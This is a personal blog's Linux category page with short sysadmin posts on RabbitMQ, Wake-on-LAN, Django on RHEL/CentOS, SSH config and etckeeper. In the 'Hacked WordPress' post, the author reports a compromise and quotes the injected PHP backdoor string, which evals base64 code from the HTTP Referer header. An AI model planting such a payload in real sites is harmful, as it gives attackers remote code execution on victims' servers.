Posts for the 'Linux' Category

  1. Compiling RabbitMQ on Ubuntu 10.04

    As part of my on going effort for realtime web updates on one of our applications I needed to install RabbitMQ HEAD (That is the development head) with the RabbitMQ STOMP adaptor. Talking on IRC channel it was recommended to me to install from source, but unfortunately the documentation is out of date. So the following will do it cleanly:

    sudo apt-get install erlang-crypto erlang-snmp erlang-syntax-tools libsctp1 lksctp-tools erlang-runtime-tools erlang-mnesia erlang-public-key erlang-os-mon erlang-ssl erlang-base erlang-parsetools mercurial git-core build-essential erlang-dev zip erlang-tools erlang-src python-simplejson  erlang-edoc
    cd ~
    hg clone http://hg.rabbitmq.com/rabbitmq-public-umbrella
    cd rabbitmq-public-umbrella
    make co
    make

    Updated: The following will create a Debian style package and install (replace ** with the version numbering that you wish to use:

    sudo apt-get install cdbs debhelper xmlto
    cd rabbitmq-server
    make VERSION=1.8.** srcdist
    make -C packaging/debs/Debian UNOFFICIAL_RELEASE=true package
    sudo dpkg -i packaging/debs/Debian/rabbitmq-server_1.8.**-1_all.deb

    Activating the STOMP plugin:

    cd rabbitmq-public-umbrella/rabbitmq-stomp/dist
    sudo cp amqp_client.ez /usr/lib/rabbitmq/lib/rabbitmq_server-1.8.1/plugins
    sudo cp rabbit_stomp.ez /usr/lib/rabbitmq/lib/rabbitmq_server-1.8.1/plugins

    Configuration file:

    RABBITMQ_PLUGINS_DIR=/usr/lib/rabbitmq/lib/rabbitmq_server-1.8.1/plugins
    SERVER_START_ARGS='-rabbit_stomp listeners [{"0.0.0.0",61613}]'

    Restart to activate (the activation script for plugins is depreciated):

    sudo /etc/init.d/rabbitmq-server restart

    And you should have a working RabbitMQ on Ubuntu with a STOMP adaptor.

    By timc3 on the
    August 23rd, 2010
  2. Wake On Lan with Ubuntu

    Wake-on-lan is incredibly useful for those scenarios where you have more than one machine on a network, but you don’t always want to have them running but they are needed sometimes.

    To setup, make sure that the Motherboard and NIC support is there from your manufacturer. Sometimes it has to be enabled, such as making sure that it uses S3 for shutdown, and that PCI wake is supported.

    Next you need to check support from the operating system, I am using Ubuntu 10.04, but this should work for other operating systems. Install ethtool, and then check against the ethernet adapter (eth0 in my example).

    sudo apt-get install ethtool
    sudo ethtool eth0

    If support is enabled, but it is turned off you will see:

    Supports Wake-on: g
    Wake-on: d

    So we turn it on:

    sudo ethtool -s eth0 wol g

    Now we need to make sure that its always enabled everytime we restart:

    cd /etc/init.d/
    sudo vim wakeonlan

    And in that file:

    #!/bin/bash
    ethtool -s eth0 wol g
    exit

    Now make sure that its put into the correct runlevels:

    sudo  chmod a+x wakeonlan
    sudo update-rc.d -f wakeonlan defaults

    And that is it. It should be supported that you can wake the machine from another computer/server using your favourite wakeup utility ( such as wakeonlan ).

    By timc3 on the
    August 6th, 2010
  3. VMWare Ubuntu IP address change

    I always have this problem when moving VMWare images of Ubuntu, the most recent of a 10.04 LTS Server. Whenever you move or copy a VMWare image it assigns a new Mac address and Ubuntu starts without properly bringing up the interface.

    Really annoying when you are using VMWare server without a console.

    To make it grab the IP Address again, simply remove the rule:

    sudo rm /etc/udev/rules.d/70-persistent-net.rules

    Then restart.

    Of course before you move the image you could remove the rule and not have them problem.

    By timc3 on the
    May 4th, 2010
  4. Django on RedHat or CentOS

    I am normally using Debian, Ubuntu or even Suse for deploying Django, but a recent customer needed to deploy on Red Hat Enterprise Server 5.

    We decided beforehand to test deployment on RHEL5 and also on CentOS 5.4 and so these instructions should work for both environments. NginX will be used as the webserver.

    The first thing I like to do is to upgrade the repository and add EPEL. This wasn’t needed I found on the RedHat box I was using, but was needed on CentOS but your mileage might vary. It should be noted that we made the system as up to date as possible with patches and yum updates.

    I won’t be covering the database setup, it is assumed that this is already setup and done. I also won’t be covering the actually placing of the Django application anywhere.

    cd ~
    rpm -Uvh http://download.fedora.redhat.com/pub/epel/5/i386/epel-release-5-3.noarch.rpm
    yum repolist
    yum update
    yum search zlib
    yum install zlib-devel*
    yum install gcc make

    Python 2.4 ships with both RHEL5 and CentOS 5 and is needed for the packaging environment YUM so I would advise not to replace it but just compile and install 2.5.5 (or 2.6) next to it.

    mkdir src
    cd src
    wget http://www.python.org/ftp/python/2.5.5/Python-2.5.5.tgz
    tar fxz Python-2.5.5.tgz
    cd Python-2.5.5
    ./configure
    make
    make install
    cd ~/src
    wget http://pypi.python.org/packages/2.5/s/setuptools/setuptools-0.6c11-py2.5.egg#md5=64c94f3bf7a72a13ec83e0b24f2749b2
    sh setuptools-0.6c11-py2.5.egg

    Now we need to build and install NginX. I choose this primarily because of my experience with it, (I have used Apache2 a lot but its archaic ) and because of its speed.

    yum install pcre-devel.i386 openssl-devel.i386
    wget http://nginx.org/download/nginx-0.7.65.tar.gz
    tar fxz nginx-0.7.65.tar.gz
    ./configure --sbin-path=/usr/local/sbin --conf-path=/etc/nginx/nginx.conf --pid-path=/var/run/nginx.pid --error-log-path=/var/log/nginx/error.log --http-log-path=/var/log/nginx/access.log --with-http_ssl_module --with-http_flv_module --with-cc-opt="-I /usr/include/pcre"
    make
    make install
    vim /etc/init.d/nginx
    sudo chmod +x /etc/init.d/nginx
    /sbin/chkconfig nginx on
    /sbin/chkconfig --list nginx

    There is a decent RedHat init.d script here: http://wiki.nginx.org/RedHatNginxInitScript, but remember that I have changed the installation location above so you will need to change the location in that script of nginx from /usr/sbin/nginx to /usr/local/sbin/nginx

    You will also need a nginx.conf configuration script for /etc/nginx/ or you could roll your own using sites-available, sites-enabled pattern. I will attach the script soon.

    Now with Python 2.5 installed we can install Django and other requirements:

    easy_install-2.5 Django
    easy_install-2.5 django-nose
    easy_install-2.5 http://dist.repoze.org/PIL-1.1.6.tar.gz
    easy_install-2.5 flup

    I am using easy_install here as that is the most widely used tool, but pip with a requirements file is a better solution.

    Now we need a database adapter. I am using PostgreSQL 8.4.2, if you are using MySQL, Oracle or some other database you will need to follow the recommended route for the Python adapter.

    yum search psycopg2
    yum install python-psycopg2.i386 (This will install for the old Python)
    yum install postgresql-devel
    cd ~/src
    wget http://initd.org/pub/software/psycopg/psycopg2-2.0.13.tar.gz
    tar xvfz psycopg2-2.0.13.tar.gz
    cd psycopg2-2.0.13
    vim setup.cfg

    Change the location of pg_config:

       pg_config=/usr/bin/pg_config

    And now install:

    python2.5 setup.py build
    python2.5 setup.py install

    Then you need to install your application. This is really specific to your needs. I choose to install the files in /opt/cantemo/application-name as that is specific to our solutions, but RedHat style might mean that you wish to install somewhere else.

    Lastly you will want to have your application start easily and also make sure that it starts if the machine ever reboots. To do this I am going to install the start-stop-daemon that is used on Debian based Linux distros on Redhat. I read some threads that it will but there is no ETA on that.

    You should download the initd script for Django from http://code.djangoproject.com/wiki/InitdScriptForLinux. Change the RUN_AS user to the user on RedHat that you are going to use for running Nginx. By default this is apache.

    cd ~/src
    wget http://developer.axis.com/download/distribution/apps-sys-utils-start-stop-daemon-IR1_9_18-2.tar.gz
    tar -xzf apps-sys-utils-start-stop-daemon-IR1_9_18-2.tar.gz
    cd ~/src/apps/sys-utils/start-stop-daemon-IR1_9_18-2
    gcc start-stop-daemon.c -o start-stop-daemon
    cp start-stop-daemon /usr/local/sbin/
    chmod +x /usr/local/sbin/start-stop-daemon
    vim /etc/init.id/fastcgi
    chmod +x /etc/init.d/fastcgi
    /etc/init.d/fastcgi start
    ps ax
    /etc/init.d/fastcgi stop
    /sbin/chkconfig --add fastcgi
    /sbin/chkconfig --list fastcgi

    Lastly make sure that your application directories have the correct user permissions but you should be able to start everything by issuing the following commands:

    /etc/init.d/nginx start
    /etc/init.d/fastcgi start

    Eric Florenzano posted a nice tutorial on deploying django using FastCGI so also check that out, but I didn’t have much luck with daemontools on CentOS, and didn’t bother trying on RedHat. I suggest instead using start-stop-daemon. Check it out for other hints and tips though, particularly on prefork vs. threaded, pip, and more nginx configuration tips.

    By timc3 on the
    March 26th, 2010
  5. Postfix and Gmail

    I have been using Hudson as a continuous integration server for a short while now and I am super impressed. I have it running on Debian and is really quite feature-full.

    One thing that I did have a problem with was with the standard Debian 5 Java environment there was a problem using TLS for mail it seemed, and I didn’t just want to send stuff to gmail’s SMTP server all the time so I configured a local Postfix SMTP relay on another server.

    This guide, Send Mail Postfix Through Gmail’s SMTP On A Ubuntu LTS Server helped a lot – but be sure to read the comments as there are some helpful hints.

    So now I have it. Hudson running and sending email through my relay to my gmail accounts.

    More information on Hudson soon.

    By timc3 on the
    March 20th, 2010
  6. Hacked WordPress

    After posting up the last entry about SSH I noticed that I had a problem with my Permalinks. Seems that there is some nasty little injection problem with WordPress that changes the Permalinks with the addition of.

     &({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&

    I am following the suggestions here:

    http://blog.4rev.net/2009-09/wordpress-hacked-eval-base64_decode-_serverhttp_referer/

    And it seemed to work.

    By timc3 on the
    September 4th, 2009
  7. The beauty of the ssh config file

    This is a tip that I have used on OS X and on Linux, which I presume works on other *nix and BSDs using SSH.

    Basically in the .ssh folder in your home directory you can create a file called config with which you can put all sorts of configuration information for your ssh client but the real benefit for me was to use this to give extra information to hosts such as defining a different port number to connect on. For instance:

    Host myservername
            User myuser
            Port 22222

    This means that instead of typing:

    ssh -p 22222 myuser@myservername

    I can type:

    ssh myservername

    No need for nasty aliases in the shell or anything like that. This also works for the sshfs program on the Mac that makes use of MacFuse. Yes that’s right you can use different ports with SSHfs.

    You can also change a much wider range of parameters than I have shown here, but often its probably better to introduce them on the server. But here is an example and have a look under the options flag in the Man page for SSH

    Compression yes
    CompressionLevel 9
    FallBackToRsh yes
    KeepAlive no
    By timc3 on the
    September 4th, 2009
  8. etckeeper

    I have been looking for a good way of keeping track of changes to /etc and with Ubuntu 9.04 Server I see that they have rolled in support for etckeeper (using bzr as the default).

    This little util allows the use of version control (bzr, hg or git) to track changes to /etc and with the Ubuntu version integrates with apt and dpkg so that new package installs are tracked.

    To install just install the following, it will take care of the dependancies:

    sudo apt-get install etckeeper

    The Initialize the repository:

    sudo etckeeper init

    And do a commit of the files to the repository.

    sudo etckeeper commit "initial import"

    After each change to file(s) in /etc

    sudo etckeeper commit "comment on my commit"

    Now I just have to back up the files from the repository for a good way of rolling back and forth between versions. Probably onto a USB key

    By timc3 on the
    September 4th, 2009
  9. Ubuntu 9.04 server at home

    Over the past week or so (slowed down by the damn flu) I have been building a new server for home. Its going to have the following duties:

    • Backup server (with Apple Time Machine)
    • File server
    • NNTP server
    • iTunes server
    • Database server (mainly PostgreSQL)
    • VMWare server

    The hardware is mounted in rackmount chassis with space for 12 drives, 6 of which will be populated straight away, has a 64bit processor and will have 3Gb of RAM (The maximum on this old hardware).

    I have installed Ubuntu 9.04 Server edition on it, and I must say that it went very smoothly except for the fact that Python 2.5 on Ubuntu 9.04 is a pain, often breaking. Here are some useful commands:

    Having two installations of different version of python and switching between them:

    sudo apt-get install python2.5 idle-python2.5
    sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.6 1
    sudo update-alternatives --install /usr/bin/python python /usr/bin/python2.5 10
    sudo update-alternatives --config python

    To undo:

    sudo update-alternatives --remove-all python
    sudo ln -s python2.6 /usr/bin/python

    To force a change of version:

    sudo rm /usr/bin/python && sudo ln -s python2.5 /usr/bin/python

    Then this will be the main server in the house, with lightweight front ends (This will have over 4Tb of RAID with expandability to 12TB). My old book will retire until I think of a good use for its out of date hardware.

    By timc3 on the
    September 3rd, 2009
  10. Ubuntu compared to Vista and Windows 7

    There is a really interesting article over here about ubuntu 9 compared to Vista and Windows 7.

    http://tuxradar.com/content/benchmarked-ubuntu-vs-vista-vs-windows-7

    They compared installation time. Ubuntu was faster.
    Mouse clicks in the installation: Ubuntu had less.
    Disk space used: Ubuntu used less.
    Bootup: Microsoft was faster, Windows 7 being the leader.
    Shutdown: Linux was faster.
    IO: Linux was faster.
    Python: Windows just about edged it.

    In the real world it probably doesn’t matter, the vast majority of users will continue on with a Microsoft operating system because the software they want to run and have supported by their local IT team will make this easier. Interesting followup here:

    http://www.tuxradar.com/content/linux-vs-windows-7

    As an OS X user the “improvements” to Windows appearance is laughable still.

    By timc3 on the
    August 21st, 2009